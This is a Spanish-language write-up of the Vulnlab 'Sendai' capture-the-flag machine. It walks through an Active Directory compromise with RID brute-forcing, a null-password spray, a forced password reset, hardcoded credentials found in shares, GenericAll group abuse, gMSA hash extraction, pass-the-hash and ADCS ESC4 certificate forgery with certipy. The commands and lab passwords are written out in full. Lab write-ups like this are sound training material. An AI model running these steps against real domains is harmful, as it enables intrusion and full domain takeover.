# Sendai – Writeup (Vulnlab)

## NMAP

Durante el escaneo, detecto un servidor que responde en puertos clave asociados con Active Directory, como el puerto 389 para LDAP y el puerto 445 para SMB, etc..

```bash
PORT      STATE SERVICE          REASON
53/tcp    open  domain           syn-ack ttl 127
80/tcp    open  http             syn-ack ttl 127
135/tcp   open  msrpc            syn-ack ttl 127
139/tcp   open  netbios-ssn      syn-ack ttl 127
443/tcp   open  https            syn-ack ttl 127
445/tcp   open  microsoft-ds     syn-ack ttl 127
3268/tcp  open  globalcatLDAP    syn-ack ttl 127
3269/tcp  open  globalcatLDAPssl syn-ack ttl 127
3389/tcp  open  ms-wbt-server    syn-ack ttl 127
5985/tcp  open  wsman            syn-ack ttl 127
49669/tcp open  unknown          syn-ack ttl 127
62820/tcp open  unknown          syn-ack ttl 127
```

## Fuzzing Web: dirsearch

Procedo a realizar un fuzzing del sitio [**http://sendai.vl/**](http://sendai.vl/) utilizando la herramienta dirsearch. Esta técnica implica el envío de múltiples solicitudes al servidor web para descubrir directorios y archivos ocultos que no están listados públicamente, los códigos de estado 301 indican redirecciones, lo que sugiere la presencia de recursos que podrían ser investigados más a fondo…

```bash
301   154B   http://sendai.vl/aspnet_client    -> REDIRECTS TO: http://sendai.vl/aspnet_client/
301   153B   http://sendai.vl/service?Wsdl    -> REDIRECTS TO: http://sendai.vl/service/?Wsdl
301   148B   http://sendai.vl/service    -> REDIRECTS TO: http://sendai.vl/service/
```

## Enumero users con Bruteforcing RID

Para enumerar usuarios, implemento un ataque de fuerza bruta sobre los RID (Relative Identifiers) utilizando un ataque de ciclo de sesiones nulas. Este método permite identificar cuentas de usuario activas en el sistema al explotar la forma en que los sistemas operativos gestionan las sesiones nulas.

```bash
nxc smb sendai.vl -u 'shkz' -p '' --rid-brute
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753992225970/09bcfc9b-0edc-44b9-9896-eb13c957bac8.png align="center")

Exporto el listado a un **user.txt** y luego lo filtro para dejar clean el archivo.

## User Spray sin contraseña

Con NetExec realizo un UserSpray con la lista de <mark>users.txt</mark> que fomratie y con contraseña nula.  
Obteniendo algo interesante:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753993605147/efb4e364-73fa-4571-bb51-b5bafa7cb7c4.png align="center")

Vemos que el usuario **Elliot.Yates** debería cambiar la contraseña. Esto podria ser posible si abusamos de esto con [**smbpasswd.py**](http://smbpasswd.py) de impacket.

# SMBPASSWD: Elliot.Yates

  
Cambio la contraseña de Elliot.Yates:

```bash
smbpasswd.py -newpass 'Mesa1234!' Elliot.Yates@sendai.vl
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753993831827/a63cb922-8b2a-457d-a5f5-9d5c789caa8f.png align="center")

Veo que logro cambiarla. Procedo nuevamente a enumerar posibles recursos con el user Elliot.Yates y la contraseña que seteamos:

```bash
nxc smb sendai.vl -u 'Elliot.Yates' -p 'Mesa1234!' --shares
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753993862791/a9de9e1f-d1ef-4d9d-8b1a-7a718f8851ea.png align="center")

Ingreso a los recursos via [*smbclient.py*](http://smbclient.py). Y cheque el share “**CONFIG**“ en donde encuentro hardcodeada una contraseña.

```bash
smbclient.py sendai.vl/Elliot.Yates:'Mesa1234!'@sendai.vl
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753994060091/365b2724-469c-4467-b43a-f6c6657b90e3.png align="center")

Posteriormente de encontrar estas credenciales intento chequear con **netexec** nuevamente.

> USER –&gt; sqlsvc  
> Password –&gt; SurenessBlob85

Con el usuario **Elliot.Yates** que cambiamos la contraseña vamos a utilizarlo para usar el collector de Bloodhound y poder ver donde estamos parado en el AD.

```bash
bloodhound-python -u 'Elliot.Yates' -p 'Mesa1234!' -ns 10.10.123.78 -d sendai.vl -c all --dns-tcp --zip
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753994159907/3a4b6cf6-f471-4470-9899-2ff27663390d.png align="center")

Importo el .zip en bloodhound y observo lo siguiente. El usuer Elliot.Yates es miembro del grupo de Soporte el cual tiene **GenericAll** sobre ADMSVC, el cual podremos abusar del siguiente modo para agregarlo al grupo a Elliot.

## Abusando del GenericALL

```bash
net rpc group addmem 'ADMSVC' Elliot.Yates -U Elliot.Yates -I sendai.vl
```

Con esto nos garantizamos que Elliot sea parte del grupo **ADMSVC** y si chequeo nuevamente el panorama con Bloodhound, vemos que esto surge efecto:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753994187474/faf0f935-9ed4-4ce6-9152-49b0ce8304e6.png align="center")

## Obteniendo GMSAPassword

Con lo siguiente extraigo el **NTLM** de la cuenta **mgtsvc$**:

```bash
nxc ldap sendai.vl -u 'Elliot.Yates' -p 'Mesa1234!' --gmsa
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753994198434/2430e959-51b4-41df-9d56-7404f86f7e68.png align="center")

## USER: mgtsvc$

```bash
evil-winrm -i 10.10.123.78 -u 'mgtsvc$' -H 'ntlm_hash'
```

Una vez dentro podemos probar algunas herramientas de chequeo para escalar privilegios.  
En mi caso intente con [**PowerUp.ps**](http://PowerUp.ps)**1** pero no funcionaba correctamente así que opte por la segunda opción que era [**PrivesCheck.ps**](http://PrivesCheck.ps)**1**.

Encontrando credenciales hardcodeadas del user **clifford.davey:**

```bash
USER = clifford.davey
PASS = RFmoB2WplgE_3p
```

Segun las hints, vemos que la parte final del **ROOT** esta basado en ADCS.

## Usando certipy como clifford.davey

Procedo a buscar con certipy y las credenciales de clifford.davey encontradas a ver que nos arroja:

```bash
certipy find -u 'clifford.davey' -p '<pass>' -dc-ip 10.10.114.68 -ns 10.10.114.68 -debug -vulnerable
```

Vemos que es vulnerable a **ESC4**.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753994468841/f654be4b-ee72-422e-8604-1416fef6ce8f.png align="center")

## Abusing ESC4

Trabajamos con la template vulnerable: **SendaiComputer**

```bash
certipy template -username 'clifford.davey@sendai.vl' -password '<pass>' -template SendaiComputer -save-old
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753994487202/71c653a7-3117-4942-8325-fa4e1ca1e228.png align="center")

Luego ejecutamos:

```bash
certipy req -ca sendai-DC-CA -username 'clifford.davey@sendai.vl' -password '<pass>' -target 'dc.sendai.vl' -template SendaiComputer -upn 'administrator@sendai.vl'
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753994508767/1bc878f6-1c13-4f03-9b52-26ba30a15e97.png align="center")

Finalmente obtenemos el **administrator.pfx** que nos permitira con lo siguiente acceder al sistema y rootear la maquina:

```bash
certipy auth -pfx administrator.pfx -dc-ip 10.10.114.68
```

```bash
evil-winrm -i sendai.vl -u 'administrator' -H '<HASH>'
```

```bash
Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         7/18/2023   6:15 AM             36 root.txt
```

Pwned!
